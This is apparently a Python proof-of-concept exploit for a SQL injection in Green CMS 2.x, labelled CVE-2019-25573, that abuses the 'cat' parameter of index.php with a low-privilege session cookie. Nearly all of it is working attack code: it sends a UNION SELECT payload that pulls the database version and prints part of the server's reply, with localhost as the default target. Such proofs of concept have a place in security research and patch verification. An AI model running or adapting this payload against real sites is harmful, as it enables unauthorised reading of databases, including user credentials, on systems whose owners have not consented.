# PoC for CVE-2019-25573
# Target: Green CMS 2.x
# Description: SQL Injection via 'cat' parameter in index.php
# Note: Requires authentication (Low privilege user)
import requests
def exploit_green_cms(target_url, session_cookie):
"""
Exploit the SQL injection vulnerability in Green CMS.
"""
# The vulnerable endpoint
url = f"{target_url}/index.php"
# Headers with the authenticated session cookie
cookies = {
"PHPSESSID": session_cookie
}
# Malicious payload to test SQL injection (e.g., extracting database version)
# Payload: 'cat=1 UNION SELECT 1,2,version(),4,5,6,7,8,9,10-- -'
payload = "1 UNION SELECT 1,2,version(),4,5,6,7,8,9,10-- -"
params = {
"m": "admin",
"c": "posts",
"a": "index",
"cat": payload
}
try:
response = requests.get(url, params=params, cookies=cookies, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] Check the response content for database version output.")
# In a real scenario, you would parse the HTML to extract the data
print("[+] Response snippet:")
print(response.text[500:1000])
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Replace these values with actual target and session
TARGET = "http://localhost"
SESSION_ID = "vulnerable_session_id"
exploit_green_cms(TARGET, SESSION_ID)